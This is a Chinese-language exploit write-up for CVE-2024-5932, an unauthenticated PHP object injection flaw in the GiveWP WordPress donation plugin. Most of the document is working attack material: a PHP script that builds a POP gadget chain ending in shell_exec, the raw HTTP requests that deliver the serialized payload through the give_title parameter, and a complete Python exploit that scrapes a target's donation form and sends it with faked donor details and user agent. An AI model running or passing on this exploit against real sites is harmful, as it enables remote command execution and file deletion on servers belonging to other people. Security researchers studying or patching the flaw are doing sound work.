# WordPress插件GiveWP存在反序列漏洞(CVE-2024-5932) WordPress中的GiveWP捐款插件和募捐平台插件存在PHP对象注入漏洞，该漏洞存在于所有版本，包括最高版本3.14.1在内。漏洞源于对来自“give_title”参数的不可信输入进行反序列化操作。这使得未经身份验证的攻击者能够注入PHP对象。此外，如果存在POP链，攻击者可以远程执行代码并删除任意文件。 ## poc ### 生成pop链 poc.php ```php _values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData(); } } } namespace Give\PaymentGateways\DataTransferObjects{ class GiveInsertPaymentData{ public $userInfo; public function __construct() { $this->userInfo['address'] = new \Give(); } } } namespace{ class Give{ protected $container; public function __construct() { $this->container = new \Give\Vendors\Faker\ValidGenerator(); } } } namespace Give\Vendors\Faker{ class ValidGenerator{ protected $validator; protected $generator; public function __construct() { $this->validator = "shell_exec"; $this->generator = new \Give\Onboarding\SettingsRepository(); } } } namespace Give\Onboarding{ class SettingsRepository{ protected $settings; public function __construct() { $this -> settings['address1'] = 'touch /tmp/EQSTtest'; } } } namespace{ $a = new Stripe\StripeObject(); echo serialize($a); } ``` ### 漏洞复现 **获取give_form_id** ```php POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 23 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_form_search ``` ![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409050947910.png) **获取 give-form-hash** ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_donation_form_nonce&give_form_id=11 ``` ![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409050948442.png) **give_title 填入poc.php生成的序列化数据** ```php POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 653 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&give_email=1@random.com&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized ``` ### 利用脚本 ```python import requests from bs4 import BeautifulSoup from faker import Faker from urllib.parse import urlparse import random import hashlib import time import sys import re import rich_click as click requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) banner = r""" Analysis base : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/ ============================================================================================================= CVE-2024-5932 : GiveWP unauthenticated PHP Object Injection description: The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files. Arbitrary File Deletion ============================================================================================================= """ class GiveWPExploit: def __init__(self, url: str, file: str): self.url = url self.file = file def greeting() -> None: print(banner) def spinner(duration=10, interval=0.1) -> None: spinner_chars = ['|', '/', '-', '\\'] end_time = time.time() + duration while time.time() < end_time: for char in spinner_chars: sys.stdout.write(f'\r[{char}] Exploit loading, please wait...') sys.stdout.flush() time.sleep(interval) print("") def getBaseUrl(self, url): parsed_url = urlparse(url) base_url = f"{parsed_url.scheme}://{parsed_url.netloc}" return base_url def getParams(self) -> dict: response = requests.get(self.url) soup = BeautifulSoup(response.text, 'html.parser') give_form_id = soup.find('input', {'name': 'give-form-id'})['value'] give_form_hash = soup.find('input', {'name': 'give-form-hash'})['value'] button_tag = soup.find('button', {'data-price-id': True}) give_price_id = button_tag['data-price-id'] give_amount = button_tag.get_text(strip=True) # Fake Userinfo fake = Faker() params = {"give-form-id" : give_form_id, "give-form-hash" : give_form_hash, "give-price-id" : give_price_id, "give-amount" : give_amount, "give_first": fake.first_name(), "give_last": fake.last_name(), "give_email": fake.email(),} return params def getData(self) -> dict: file = self.file rand_md5 = hashlib.md5(str(random.randint(0, 10)).encode()).hexdigest() # Payload payload = 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}' % (len(file), file) data = self.getParams() data['give_title'] = payload data['give-gateway'] = 'offline' data['action'] = 'give_process_donation' print(f"[+] Requested Data: ") print(data) return data def isEmbed(self, url: str) -> str: pattern = r'' response = requests.get(url) match = re.search(pattern, response.text) if match: soup1 = BeautifulSoup(response.text, 'html.parser') embed_url = soup1.find('iframe')['src'] return embed_url else: return url def sendRequest(self) -> None: # Fake User_Agent fake = Faker() baseUrl = self.getBaseUrl(self.url) reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php" data = self.getData() headers = { 'User-Agent': fake.user_agent(), 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept-Encoding': 'gzip, deflate, br' } response = requests.post(reqUrl, data=data, headers=headers) def exploit(self) -> None: self.url = self.isEmbed(self.url) self.sendRequest() # argument parsing with rich_click @click.command() @click.option( "-u", "--url", required=True, help="Specify a URL or domain for vulnerability detection (Donation-Form Page)", ) @click.option( "-c", "--cmd", default="/tmp/test", help="Specify the file to read from the server", ) def main(url: str, cmd: str) -> None: cve_exploit = GiveWPExploit(url, cmd) GiveWPExploit.greeting() GiveWPExploit.spinner(duration=1) cve_exploit.exploit() if __name__ == "__main__": main() ``` ## 漏洞来源 - https://github.com/EQSTLab/CVE-2024-5932 - https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/